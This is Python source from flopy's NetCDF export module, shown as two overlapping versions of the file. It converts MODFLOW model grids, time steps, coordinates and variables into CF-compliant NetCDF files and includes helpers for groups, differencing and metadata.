group {}".format(group)) self.nc.createGroup(group) self.log("{} group created".format(group)) self.log("creating {} group dimensions".format(group)) for dim in dimensions: if dim == "time": if "time" not in dimension_data: time_values = np.cumsum(self.model_time.perlen) else: time_values = dimension_data["time"] self.nc.groups[group].createDimension(dim, len(time_values)) else: if dim not in dimension_data: raise AssertionError( "{} information must be supplied " "to dimension data".format(dim) ) else: self.nc.groups[group].createDimension( dim, len(dimension_data[dim]) ) self.log("created {} group dimensions".format(group)) dim_names = tuple([i for i in dimensions if i != "time"]) for dim in dimensions: if dim.lower() == "time": if "time" not in attributes: unit_value = "{} since {}".format( self.time_units, self.start_datetime ) attribs = { "units": unit_value, "standard_name": "time", "long_name": NC_LONG_NAMES.get("time", "time"), "calendar": "gregorian", "Axis": "Y", "_CoordinateAxisType": "Time", } else: attribs = attributes["time"] time = self.create_group_variable( group, "time", attribs, precision_str="f8", dimensions=("time",), ) time[:] = np.asarray(time_values) elif dim.lower() == "zone": if "zone" not in attributes: attribs = { "units": "N/A", "standard_name": "zone", "long_name": "zonebudget zone", "Axis": "X", "_CoordinateAxisType": "Zone", } else: attribs = attributes["zone"] zone = self.create_group_variable( group, "zone", attribs, precision_str="i4", dimensions=("zone",), ) zone[:] = np.asarray(dimension_data["zone"]) else: attribs = attributes[dim] var = self.create_group_variable( group, dim, attribs, precision_str="f8", dimensions=dim_names, ) var[:] = np.asarray(dimension_data[dim]) @staticmethod def normalize_name(name): return name.replace(".", "_").replace(" ", "_").replace("-", "_") def create_group_variable( self, group, name, attributes, precision_str, dimensions=("time",) ): """ Create a new group variable in the netcdf object Parameters ---------- name : str the name of the variable attributes : dict attributes to add to the new variable precision_str : str netcdf-compliant string. e.g. f4 dimensions : tuple which dimensions the variable applies to default : ("time","layer","x","y") group : str which netcdf group the variable goes in default : None which creates the variable in root Returns ------- nc variable Raises ------ AssertionError if precision_str not right AssertionError if variable name already in netcdf object AssertionError if one of more dimensions do not exist """ name = self.normalize_name(name) if ( name in STANDARD_VARS and name in self.nc.groups[group].variables.keys() ): return if name in self.nc.groups[group].variables.keys(): if self.forgive: self.logger.warn( "skipping duplicate {} group variable: {}".format( group, name ) ) return else: raise Exception( "duplicate {} group variable name: {}".format(group, name) ) self.log("creating group {} variable: {}".format(group, name)) if precision_str not in PRECISION_STRS: raise AssertionError( "netcdf.create_variable() error: precision " "string {} not in {}".format(precision_str, PRECISION_STRS) ) if group not in self.nc.groups: raise AssertionError( "netcdf group `{}` must be created before " "variables can be added to it".format(group) ) self.var_attr_dict["{}/{}".format(group, name)] = attributes var = self.nc.groups[group].createVariable( name, precision_str, dimensions, fill_value=self.fillvalue, zlib=True, ) for k, v in attributes.items(): try: var.setncattr(k, v) except: self.logger.warn( "error setting attribute" + "{} for group {} variable {}".format(k, group, name) ) self.log("creating group {} variable: {}".format(group, name)) return var def create_variable( self, name, attributes, precision_str="f4", dimensions=("time", "layer"), group=None, ): """ Create a new variable in the netcdf object Parameters ---------- name : str the name of the variable attributes : dict attributes to add to the new variable precision_str : str netcdf-compliant string. e.g. f4 dimensions : tuple which dimensions the variable applies to default : ("time","layer","x","y") group : str which netcdf group the variable goes in default : None which creates the variable in root Returns ------- nc variable Raises ------ AssertionError if precision_str not right AssertionError if variable name already in netcdf object AssertionError if one of more dimensions do not exist """ # Normalize variable name name = self.normalize_name(name) # if this is a core var like a dimension... # long_name = attributes.pop("long_name",name) if name in STANDARD_VARS and name in self.nc.variables.keys(): return if ( name not in self.var_attr_dict.keys() and name in self.nc.variables.keys() ): if self.forgive: self.logger.warn( "skipping duplicate variable: {0}".format(name) ) return else: raise Exception("duplicate variable name: {0}".format(name)) if name in self.nc.variables.keys(): raise Exception("duplicate variable name: {0}".format(name)) self.log("creating variable: " + str(name)) assert ( precision_str in PRECISION_STRS ), "netcdf.create_variable() error: precision string {0} not in {1}".format( precision_str, PRECISION_STRS ) if self.nc is None: self.initialize_file() # check that the requested dimension exists and # build up the chuck sizes # chunks = [] # for dimension in dimensions: # assert self.nc.dimensions.get(dimension) is not None, \ # "netcdf.create_variable() dimension not found:" + dimension # chunk = self.chunks[dimension] # assert chunk is not None, \ # "netcdf.create_variable() chunk size of {0} is None in self.chunks". \ # format(dimension) # chunks.append(chunk) self.var_attr_dict[name] = attributes var = self.nc.createVariable( name, precision_str, dimensions, fill_value=self.fillvalue, zlib=True, ) # , # chunksizes=tuple(chunks)) for k, v in attributes.items(): try: var.setncattr(k, v) except: self.logger.warn( "error setting attribute" + "{0} for variable {1}".format(k, name) ) self.log("creating variable: " + str(name)) return var def add_global_attributes(self, attr_dict): """ add global attribute to an initialized file Parameters ---------- attr_dict : dict(attribute name, attribute value) Returns ------- None Raises ------ Exception of self.nc is None (initialize_file() has not been called) """ if self.nc is None: # self.initialize_file() mess = ( "NetCDF.add_global_attributes() should only " + "be called after the file has been initialized" ) self.logger.warn(mess) raise Exception(mess) self.log("setting global attributes") self.nc.setncatts(attr_dict) self.log("setting global attributes") def add_sciencebase_metadata(self, id, check=True): """Add metadata from ScienceBase using the flopy.export.metadata.acdd class. Returns ------- metadata : flopy.export.metadata.acdd object """ md = acdd(id, model=self.model) if md.sb is not None: if check: self._check_vs_sciencebase(md) # get set of public attributes attr = {n for n in dir(md) if "_" not in n[0]} # skip some convenience attributes skip = { "bounds", "creator", "sb", "xmlroot", "time_coverage", "get_sciencebase_xml_metadata", "get_sciencebase_metadata", } towrite = sorted(list(attr.difference(skip))) for k in towrite: v = md.__getattribute__(k) if v is not None: # convert everything to strings if not isinstance(v, str): if isinstance(v, list): v = ",".join(v) else: v = str(v) self.global_attributes[k] = v self.nc.setncattr(k, v) self.write() return md def _check_vs_sciencebase(self, md): """Check that model bounds read from flopy are consistent with those in ScienceBase.""" xmin, ymin, xmax, ymax = self.bounds tol = 1e-5 assert md.geospatial_lon_min - xmin < tol assert md.geospatial_lon_max - xmax < tol assert md.geospatial_lat_min - ymin < tol assert md.geospatial_lat_max - ymax < tol assert md.geospatial_vertical_min - self.vbounds[0] < tol assert md.geospatial_vertical_max - self.vbounds[1] < tol def get_longnames_from_docstrings(self, outfile="longnames.json"): """ This is experimental. Scrape Flopy module docstrings and return docstrings for parameters included in the list of variables added to NetCdf object. Create a dictionary of longnames keyed by the NetCdf variable names; make each longname from the first sentence of the docstring for that parameter. One major limitation is that variables from mflists often aren't described in the docstrings. """ def startstop(ds): """Get just the Parameters section of the docstring.""" start, stop = 0, -1 for i, l in enumerate(ds): if "Parameters" in l and "----" in ds[i + 1]: start = i + 2 if l.strip() in ["Attributes", "Methods", "Returns", "Notes"]: stop = i - 1 break if i >= start and "----" in l: stop = i - 2 break return start, stop def get_entries(ds): """Parse docstring entries into dictionary.""" stuff = {} k = None for line in ds: if ( len(line) >= 5 and line[:4] == " " * 4 and line[4] != " " and ":" in line ): k = line.split(":")[0].strip() stuff[k] = "" # lines with parameter descriptions elif k is not None and len(line) > 10: # avoid orphans stuff[k] += line.strip() + " " return stuff # get a list of the flopy classes # packages = inspect.getmembers(flopy.modflow, inspect.isclass) packages = [(pp.name[0], pp) for pp in self.model.packagelist] # get a list of the NetCDF variables attr = [v.split("_")[-1] for v in self.nc.variables] # parse docstrings to get long names longnames = {} for pkg in packages: # parse the docstring obj = pkg[-1] ds = obj.__doc__.split("\n") start, stop = startstop(ds) txt = ds[start:stop] if stop - start > 0: params = get_entries(txt) for k, v in params.items(): if k in attr: longnames[k] = v.split(". ")[0] # add in any variables that weren't found for var in attr: if var not in longnames.keys(): longnames[var] = "" with open(outfile, "w") as output: json.dump(longnames, output, sort_keys=True, indent=2) return longnames

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import os import platform import socket import copy import json import numpy as np from datetime import datetime import time from .metadata import acdd import flopy FILLVALUE = -99999.9 ITMUNI = { 0: "undefined", 1: "seconds", 2: "minutes", 3: "hours", 4: "days", 5: "years", } PRECISION_STRS = ["f4", "f8", "i4"] STANDARD_VARS = ["longitude", "latitude", "layer", "elevation", "time"] path = os.path.split(__file__)[0] with open(path + "/longnames.json") as f: NC_LONG_NAMES = json.load(f) class Logger(object): def __init__(self, filename, echo=False): self.items = {} self.echo = bool(echo) if filename == True: self.echo = True self.filename = None elif filename: self.f = open(filename, "w", 0) self.t = datetime.now() self.log("opening " + str(filename) + " for logging") else: self.filename = None def log(self, phrase): pass t = datetime.now() if phrase in self.items.keys(): s = ( str(t) + " finished: " + str(phrase) + ", took: " + str(t - self.items[phrase]) + "\n" ) if self.echo: print(s,) if self.filename: self.f.write(s) self.items.pop(phrase) else: s = str(t) + " starting: " + str(phrase) + "\n" if self.echo: print(s,) if self.filename: self.f.write(s) self.items[phrase] = copy.deepcopy(t) def warn(self, message): s = str(datetime.now()) + " WARNING: " + message + "\n" if self.echo: print(s,) if self.filename: self.f.write(s) return class NetCdf(object): def __init__( self, output_filename, model, time_values=None, z_positive="up", verbose=None, prj=None, logger=None, forgive=False, **kwargs ): assert output_filename.lower().endswith(".nc") if verbose is None: verbose = model.verbose if logger is not None: self.logger = logger else: self.logger = Logger(verbose) self.var_attr_dict = {} self.log = self.logger.log if os.path.exists(output_filename): self.logger.warn("removing existing nc file: " + output_filename) os.remove(output_filename) self.output_filename = output_filename self.forgive = bool(forgive) self.model = model self.model_grid = model.modelgrid if "modelgrid" in kwargs: self.model_grid = kwargs.pop("modelgrid") self.model_time = model.modeltime if prj is not None: self.model_grid.proj4 = prj if self.model_grid.grid_type == "structured": self.dimension_names = ("layer", "y", "x") STANDARD_VARS.extend(["delc", "delr"]) else: raise Exception( "Grid type {} not supported.".format(self.model_grid.grid_type) ) self.shape = self.model_grid.shape try: import dateutil.parser except: print( "python-dateutil is not installed\n" + "try pip install python-dateutil" ) return self.start_datetime = self._dt_str( dateutil.parser.parse(self.model_time.start_datetime) ) self.logger.warn("start datetime:{0}".format(str(self.start_datetime))) proj4_str = self.model_grid.proj4 if proj4_str is None: proj4_str = "epsg:4326" self.log( "Warning: model has no coordinate reference system specified. " "Using default proj4 string: {}".format(proj4_str) ) self.proj4_str = proj4_str self.grid_units = self.model_grid.units self.z_positive = z_positive if self.grid_units is None: self.grid_units = "undefined" assert self.grid_units in ["feet", "meters", "undefined"], ( "unsupported length units: " + self.grid_units ) self.time_units = self.model_time.time_units self.log("initializing attributes") self._initialize_attributes() self.log("initializing attributes") self.time_values_arg = time_values self.log("initializing file") self.initialize_file(time_values=self.time_values_arg) self.log("initializing file") def __add__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] + other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] + other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__add__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __sub__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] - other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] - other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__sub__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __mul__(self, other): new_net = NetCdf.zeros_like(self) if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] * other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] * other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__mul__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def __div__(self, other): return self.__truediv__(other) def __truediv__(self, other): new_net = NetCdf.zeros_like(self) with np.errstate(invalid="ignore"): if np.isscalar(other) or isinstance(other, np.ndarray): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] / other ) elif isinstance(other, NetCdf): for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = ( self.nc.variables[vname][:] / other.nc.variables[vname][:] ) else: raise Exception( "NetCdf.__sub__(): unrecognized other:{0}".format( str(type(other)) ) ) return new_net def append(self, other, suffix="_1"): assert isinstance(other, NetCdf) or isinstance(other, dict) if isinstance(other, NetCdf): for vname in other.var_attr_dict.keys(): attrs = other.var_attr_dict[vname].copy() var = other.nc.variables[vname] new_vname = vname if vname in self.nc.variables.keys(): if vname not in STANDARD_VARS: new_vname = vname + suffix if "long_name" in attrs: attrs["long_name"] += " " + suffix else: continue assert ( new_vname not in self.nc.variables.keys() ), "var already exists:{0} in {1}".format( new_vname, ",".join(self.nc.variables.keys()) ) attrs["max"] = var[:].max() attrs["min"] = var[:].min() new_var = self.create_variable( new_vname, attrs, var.dtype, dimensions=var.dimensions ) new_var[:] = var[:] else: for vname, array in other.items(): vname_norm = self.normalize_name(vname) assert ( vname_norm in self.nc.variables.keys() ), "dict var not in " "self.vars:{0}-->".format( vname ) + ",".join( self.nc.variables.keys() ) new_vname = vname_norm + suffix assert new_vname not in self.nc.variables.keys() attrs = self.var_attr_dict[vname_norm].copy() attrs["max"] = np.nanmax(array) attrs["min"] = np.nanmin(array) attrs["name"] = new_vname attrs["long_name"] = attrs["long_name"] + " " + suffix var = self.nc.variables[vname_norm] # format(new_vname,str(var.shape),str(array.shape)) new_var = self.create_variable( new_vname, attrs, var.dtype, dimensions=var.dimensions ) try: new_var[:] = array except: new_var[:, 0] = array return def copy(self, output_filename): new_net = NetCdf.zeros_like(self, output_filename=output_filename) for vname in self.var_attr_dict.keys(): new_net.nc.variables[vname][:] = self.nc.variables[vname][:] return new_net @classmethod def zeros_like( cls, other, output_filename=None, verbose=None, logger=None ): new_net = NetCdf.empty_like( other, output_filename=output_filename, verbose=verbose, logger=logger, ) # add the vars to the instance for vname in other.var_attr_dict.keys(): if new_net.nc.variables.get(vname) is not None: new_net.logger.warn( "variable {0} already defined, skipping".format(vname) ) continue new_net.log("adding variable {0}".format(vname)) var = other.nc.variables[vname] data = var[:] try: mask = data.mask data = np.array(data) except: mask = None new_data = np.zeros_like(data) new_data[mask] = FILLVALUE new_var = new_net.create_variable( vname, other.var_attr_dict[vname], var.dtype, dimensions=var.dimensions, ) new_var[:] = new_data new_net.log("adding variable {0}".format(vname)) global_attrs = {} for attr in other.nc.ncattrs(): if attr not in new_net.nc.ncattrs(): global_attrs[attr] = other.nc[attr] new_net.add_global_attributes(global_attrs) return new_net @classmethod def empty_like( cls, other, output_filename=None, verbose=None, logger=None ): if output_filename is None: output_filename = ( str(time.mktime(datetime.now().timetuple())) + ".nc" ) while os.path.exists(output_filename): print("{}...already exists".format(output_filename)) output_filename = ( str(time.mktime(datetime.now().timetuple())) + ".nc" ) print( "creating temporary netcdf file..." + "{}".format(output_filename) ) new_net = cls( output_filename, other.model, time_values=other.time_values_arg, verbose=verbose, logger=logger, ) return new_net def difference( self, other, minuend="self", mask_zero_diff=True, onlydiff=True ): assert self.nc is not None, ( "can't call difference() if nc " + "hasn't been populated" ) try: import netCDF4 except Exception as e: mess = "error import netCDF4: {0}".format(str(e)) self.logger.warn(mess) raise Exception(mess) if isinstance(other, str): assert os.path.exists( other ), "filename 'other' not found:" + "{0}".format(other) other = netCDF4.Dataset(other, "r") assert isinstance(other, netCDF4.Dataset) # check for similar variables self_vars = set(self.nc.variables.keys()) other_vars = set(other.variables) diff = self_vars.symmetric_difference(other_vars) if len(diff) > 0: self.logger.warn( "variables are not the same between the two " + "nc files: " + ",".join(diff) ) return # check for similar dimensions self_dimens = self.nc.dimensions other_dimens = other.dimensions for d in self_dimens.keys(): if d not in other_dimens: self.logger.warn("missing dimension in other:{0}".format(d)) return if len(self_dimens[d]) != len(other_dimens[d]): self.logger.warn( "dimension not consistent: " + "{0}:{1}".format(self_dimens[d], other_dimens[d]) ) return # should be good to go time_values = self.nc.variables.get("time")[:] new_net = NetCdf( self.output_filename.replace(".nc", ".diff.nc"), self.model, time_values=time_values, ) # add the vars to the instance for vname in self_vars: if ( vname not in self.var_attr_dict or new_net.nc.variables.get(vname) is not None ): self.logger.warn("skipping variable: {0}".format(vname)) continue self.log("processing variable {0}".format(vname)) s_var = self.nc.variables[vname] o_var = other.variables[vname] s_data = s_var[:] o_data = o_var[:] o_mask, s_mask = None, None # keep the masks to apply later if isinstance(s_data, np.ma.MaskedArray): self.logger.warn("masked array for {0}".format(vname)) s_mask = s_data.mask s_data = np.array(s_data) s_data[s_mask] = 0.0 else: np.nan_to_num(s_data) if isinstance(o_data, np.ma.MaskedArray): o_mask = o_data.mask o_data = np.array(o_data) o_data[o_mask] = 0.0 else: np.nan_to_num(o_data) # difference with self if minuend.lower() == "self": d_data = s_data - o_data elif minuend.lower() == "other": d_data = o_data - s_data else: mess = "unrecognized minuend {0}".format(minuend) self.logger.warn(mess) raise Exception(mess) # check for non-zero diffs if onlydiff and d_data.sum() == 0.0: self.logger.warn( "var {0} has zero differences, skipping...".format(vname) ) continue self.logger.warn( "resetting diff attrs max,min:{0},{1}".format( d_data.min(), d_data.max() ) ) attrs = self.var_attr_dict[vname].copy() attrs["max"] = np.nanmax(d_data) attrs["min"] = np.nanmin(d_data) # reapply masks if s_mask is not None: self.log("applying self mask") s_mask[d_data != 0.0] = False d_data[s_mask] = FILLVALUE self.log("applying self mask") if o_mask is not None: self.log("applying other mask") o_mask[d_data != 0.0] = False d_data[o_mask] = FILLVALUE self.log("applying other mask") d_data[np.isnan(d_data)] = FILLVALUE if mask_zero_diff: d_data[np.where(d_data == 0.0)] = FILLVALUE var = new_net.create_variable( vname, attrs, s_var.dtype, dimensions=s_var.dimensions ) var[:] = d_data self.log("processing variable {0}".format(vname)) def _dt_str(self, dt): dt_str = "{0:04d}-{1:02d}-{2:02d}T{3:02d}:{4:02d}:{5:02}Z".format( dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second ) return dt_str def write(self): self.log("writing nc file") assert ( self.nc is not None ), "netcdf.write() error: nc file not initialized" # write any new attributes that have been set since # initializing the file for k, v in self.global_attributes.items(): try: if self.nc.attributes.get(k) is not None: self.nc.setncattr(k, v) except Exception: self.logger.warn( "error setting global attribute {0}".format(k) ) self.nc.sync() self.nc.close() self.log("writing nc file") def _initialize_attributes(self): assert ( "nc" not in self.__dict__.keys() ), "NetCdf._initialize_attributes() error: nc attribute already set" self.nc_epsg_str = "epsg:4326" self.nc_crs_longname = "http://www.opengis.net/def/crs/EPSG/0/4326" self.nc_semi_major = float(6378137.0) self.nc_inverse_flat = float(298.257223563) self.global_attributes = {} self.global_attributes["namefile"] = self.model.namefile self.global_attributes["model_ws"] = self.model.model_ws self.global_attributes["exe_name"] = self.model.exe_name self.global_attributes["modflow_version"] = self.model.version self.global_attributes["create_hostname"] = socket.gethostname() self.global_attributes["create_platform"] = platform.system() self.global_attributes["create_directory"] = os.getcwd() htol, rtol = -999, -999 try: htol, rtol = self.model.solver_tols() except Exception as e: self.logger.warn( "unable to get solver tolerances:" + "{0}".format(str(e)) ) self.global_attributes["solver_head_tolerance"] = htol self.global_attributes["solver_flux_tolerance"] = rtol spatial_attribs = { "xll": self.model_grid.xoffset, "yll": self.model_grid.yoffset, "rotation": self.model_grid.angrot, "proj4_str": self.model_grid.proj4, } for n, v in spatial_attribs.items(): self.global_attributes["flopy_sr_" + n] = v self.global_attributes[ "start_datetime" ] = self.model_time.start_datetime self.fillvalue = FILLVALUE # initialize attributes self.grid_crs = None self.zs = None self.ys = None self.xs = None self.nc = None def initialize_geometry(self): try: import pyproj except ImportError as e: raise ImportError( "NetCdf error importing pyproj module:\n" + str(e) ) from distutils.version import LooseVersion # Check if using newer pyproj version conventions pyproj220 = LooseVersion(pyproj.__version__) >= LooseVersion("2.2.0") proj4_str = self.proj4_str print("initialize_geometry::proj4_str = {}".format(proj4_str)) self.log("building grid crs using proj4 string: {}".format(proj4_str)) if pyproj220: self.grid_crs = pyproj.CRS(proj4_str) else: self.grid_crs = pyproj.Proj(proj4_str, preserve_units=True) print("initialize_geometry::self.grid_crs = {}".format(self.grid_crs)) vmin, vmax = self.model_grid.botm.min(), self.model_grid.top.max() if self.z_positive == "down": vmin, vmax = vmax, vmin else: self.zs = self.model_grid.xyzcellcenters[2].copy() ys = self.model_grid.xyzcellcenters[1].copy() xs = self.model_grid.xyzcellcenters[0].copy() # Transform to a known CRS if pyproj220: nc_crs = pyproj.CRS(self.nc_epsg_str) self.transformer = pyproj.Transformer.from_crs( self.grid_crs, nc_crs, always_xy=True ) else: nc_crs = pyproj.Proj(self.nc_epsg_str) self.transformer = None print("initialize_geometry::nc_crs = {}".format(nc_crs)) if pyproj220: print( "transforming coordinates using = {}".format(self.transformer) ) self.log("projecting grid cell center arrays") if pyproj220: self.xs, self.ys = self.transformer.transform(xs, ys) else: self.xs, self.ys = pyproj.transform(self.grid_crs, nc_crs, xs, ys) # get transformed bounds and record to check against ScienceBase later xmin, xmax, ymin, ymax = self.model_grid.extent bbox = np.array( [[xmin, ymin], [xmin, ymax], [xmax, ymax], [xmax, ymin]] ) if pyproj220: x, y = self.transformer.transform(*bbox.transpose()) else: x, y = pyproj.transform(self.grid_crs, nc_crs, *bbox.transpose()) self.bounds = x.min(), y.min(), x.max(), y.max() self.vbounds = vmin, vmax def initialize_file(self, time_values=None): if self.nc is not None: raise Exception("nc file already initialized") if self.grid_crs is None: self.log("initializing geometry") self.initialize_geometry() self.log("initializing geometry") try: import netCDF4 except Exception as e: self.logger.warn("error importing netCDF module") msg = "NetCdf error importing netCDF4 module:\n" + str(e) raise Exception(msg) # open the file for writing try: self.nc = netCDF4.Dataset(self.output_filename, "w") except Exception as e: msg = "error creating netcdf dataset:\n{}".format(str(e)) raise Exception(msg) # write some attributes self.log("setting standard attributes") self.nc.setncattr( "Conventions", "CF-1.6, ACDD-1.3, flopy {}".format(flopy.__version__), ) self.nc.setncattr( "date_created", datetime.utcnow().strftime("%Y-%m-%dT%H:%M:00Z") ) self.nc.setncattr( "geospatial_vertical_positive", "{}".format(self.z_positive) ) min_vertical = np.min(self.zs) max_vertical = np.max(self.zs) self.nc.setncattr("geospatial_vertical_min", min_vertical) self.nc.setncattr("geospatial_vertical_max", max_vertical) self.nc.setncattr("geospatial_vertical_resolution", "variable") self.nc.setncattr("featureType", "Grid") for k, v in self.global_attributes.items(): try: self.nc.setncattr(k, v) except: self.logger.warn( "error setting global attribute {0}".format(k) ) self.global_attributes = {} self.log("setting standard attributes") # spatial dimensions self.log("creating dimensions") # time if time_values is None: time_values = np.cumsum(self.model_time.perlen) self.nc.createDimension("time", len(time_values)) for name, length in zip(self.dimension_names, self.shape): self.nc.createDimension(name, length) self.log("creating dimensions") self.log("setting CRS info") # Metadata variables crs = self.nc.createVariable("crs", "i4") crs.long_name = self.nc_crs_longname crs.epsg_code = self.nc_epsg_str crs.semi_major_axis = self.nc_semi_major crs.inverse_flattening = self.nc_inverse_flat self.log("setting CRS info") attribs = { "units": "{} since {}".format( self.time_units, self.start_datetime ), "standard_name": "time", "long_name": NC_LONG_NAMES.get("time", "time"), "calendar": "gregorian", "_CoordinateAxisType": "Time", } time = self.create_variable( "time", attribs, precision_str="f8", dimensions=("time",) ) self.logger.warn("time_values:{0}".format(str(time_values))) time[:] = np.asarray(time_values) # Elevation attribs = { "units": self.model_grid.units, "standard_name": "elevation", "long_name": NC_LONG_NAMES.get("elevation", "elevation"), "axis": "Z", "valid_min": min_vertical, "valid_max": max_vertical, "positive": self.z_positive, } elev = self.create_variable( "elevation", attribs, precision_str="f8", dimensions=self.dimension_names, ) elev[:] = self.zs # Longitude attribs = { "units": "degrees_east", "standard_name": "longitude", "long_name": NC_LONG_NAMES.get("longitude", "longitude"), "axis": "X", "_CoordinateAxisType": "Lon", } lon = self.create_variable( "longitude", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) lon[:] = self.xs self.log("creating longitude var") # Latitude self.log("creating latitude var") attribs = { "units": "degrees_north", "standard_name": "latitude", "long_name": NC_LONG_NAMES.get("latitude", "latitude"), "axis": "Y", "_CoordinateAxisType": "Lat", } lat = self.create_variable( "latitude", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) lat[:] = self.ys # x self.log("creating x var") attribs = { "units": self.model_grid.units, "standard_name": "projection_x_coordinate", "long_name": NC_LONG_NAMES.get("x", "x coordinate of projection"), "axis": "X", } x = self.create_variable( "x_proj", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) x[:] = self.model_grid.xyzcellcenters[0] # y self.log("creating y var") attribs = { "units": self.model_grid.units, "standard_name": "projection_y_coordinate", "long_name": NC_LONG_NAMES.get("y", "y coordinate of projection"), "axis": "Y", } y = self.create_variable( "y_proj", attribs, precision_str="f8", dimensions=self.dimension_names[1:], ) y[:] = self.model_grid.xyzcellcenters[1] # grid mapping variable crs = flopy.utils.reference.crs( prj=self.model_grid.prj, epsg=self.model_grid.epsg ) attribs = crs.grid_mapping_attribs if attribs is not None: self.log("creating grid mapping variable") self.create_variable( attribs["grid_mapping_name"], attribs, precision_str="f8" ) # layer self.log("creating layer var") attribs = { "units": "", "standard_name": "layer", "long_name": NC_LONG_NAMES.get("layer", "layer"), "positive": "down", "axis": "Z", } lay = self.create_variable("layer", attribs, dimensions=("layer",)) lay[:] = np.arange(0, self.shape[0]) self.log("creating layer var") if self.model_grid.grid_type == "structured": # delc attribs = { "units": self.model_grid.units.strip("s"), "long_name": NC_LONG_NAMES.get( "delc", "Model grid cell spacing along a column" ), } delc = self.create_variable("delc", attribs, dimensions=("y",)) delc[:] = self.model_grid.delc[::-1] if self.model_grid.angrot != 0: delc.comments = ( "This is the row spacing that applied to the UNROTATED grid. " + "This grid HAS been rotated before being saved to NetCDF. " + "To compute the unrotated grid, use the origin point and this array." ) # delr attribs = { "units": self.model_grid.units.strip("s"), "long_name": NC_LONG_NAMES.get( "delr", "Model grid cell spacing along a row" ), } delr = self.create_variable("delr", attribs, dimensions=("x",)) delr[:] = self.model_grid.delr[::-1] if self.model_grid.angrot != 0: delr.comments = ( "This is the col spacing that applied to the UNROTATED grid. " + "This grid HAS been rotated before being saved to NetCDF. " + "To compute the unrotated grid, use the origin point and this array." ) # else: # vertices # attribs = {"units": self.model_grid.lenuni.strip('s'), # "long_name": NC_LONG_NAMES.get("vertices", # "List of vertices used in the model by cell"), # } # vertices = self.create_variable('vertices', attribs, dimensions=('ncpl',)) # vertices[:] = self.model_grid.vertices # Workaround for CF/CDM. # http://www.unidata.ucar.edu/software/thredds/current/netcdf-java/ # reference/StandardCoordinateTransforms.html # "explicit_field" exp = self.nc.createVariable("VerticalTransform", "S1") exp.transform_name = "explicit_field" exp.existingDataField = "elevation" exp._CoordinateTransformType = "vertical" exp._CoordinateAxes = "layer" return def initialize_group( self, group="timeseries", dimensions=("time",), attributes=None, dimension_data=None, ): if attributes is None: attributes = {} if dimension_data is None: dimension_data = {} if self.nc is None: self.initialize_file() if group in self.nc.groups: raise AttributeError("{} group already initialized".format(group)) self.log("creating netcdf group {}".format(group)) self.nc.createGroup(group) self.log("{} group created".format(group)) self.log("creating {} group dimensions".format(group)) for dim in dimensions: if dim == "time": if "time" not in dimension_data: time_values = np.cumsum(self.model_time.perlen) else: time_values = dimension_data["time"] self.nc.groups[group].createDimension(dim, len(time_values)) else: if dim not in dimension_data: raise AssertionError( "{} information must be supplied " "to dimension data".format(dim) ) else: self.nc.groups[group].createDimension( dim, len(dimension_data[dim]) ) self.log("created {} group dimensions".format(group)) dim_names = tuple([i for i in dimensions if i != "time"]) for dim in dimensions: if dim.lower() == "time": if "time" not in attributes: unit_value = "{} since {}".format( self.time_units, self.start_datetime ) attribs = { "units": unit_value, "standard_name": "time", "long_name": NC_LONG_NAMES.get("time", "time"), "calendar": "gregorian", "Axis": "Y", "_CoordinateAxisType": "Time", } else: attribs = attributes["time"] time = self.create_group_variable( group, "time", attribs, precision_str="f8", dimensions=("time",), ) time[:] = np.asarray(time_values) elif dim.lower() == "zone": if "zone" not in attributes: attribs = { "units": "N/A", "standard_name": "zone", "long_name": "zonebudget zone", "Axis": "X", "_CoordinateAxisType": "Zone", } else: attribs = attributes["zone"] zone = self.create_group_variable( group, "zone", attribs, precision_str="i4", dimensions=("zone",), ) zone[:] = np.asarray(dimension_data["zone"]) else: attribs = attributes[dim] var = self.create_group_variable( group, dim, attribs, precision_str="f8", dimensions=dim_names, ) var[:] = np.asarray(dimension_data[dim]) @staticmethod def normalize_name(name): return name.replace(".", "_").replace(" ", "_").replace("-", "_") def create_group_variable( self, group, name, attributes, precision_str, dimensions=("time",) ): name = self.normalize_name(name) if ( name in STANDARD_VARS and name in self.nc.groups[group].variables.keys() ): return if name in self.nc.groups[group].variables.keys(): if self.forgive: self.logger.warn( "skipping duplicate {} group variable: {}".format( group, name ) ) return else: raise Exception( "duplicate {} group variable name: {}".format(group, name) ) self.log("creating group {} variable: {}".format(group, name)) if precision_str not in PRECISION_STRS: raise AssertionError( "netcdf.create_variable() error: precision " "string {} not in {}".format(precision_str, PRECISION_STRS) ) if group not in self.nc.groups: raise AssertionError( "netcdf group `{}` must be created before " "variables can be added to it".format(group) ) self.var_attr_dict["{}/{}".format(group, name)] = attributes var = self.nc.groups[group].createVariable( name, precision_str, dimensions, fill_value=self.fillvalue, zlib=True, ) for k, v in attributes.items(): try: var.setncattr(k, v) except: self.logger.warn( "error setting attribute" + "{} for group {} variable {}".format(k, group, name) ) self.log("creating group {} variable: {}".format(group, name)) return var def create_variable( self, name, attributes, precision_str="f4", dimensions=("time", "layer"), group=None, ): # Normalize variable name name = self.normalize_name(name) # if this is a core var like a dimension... # long_name = 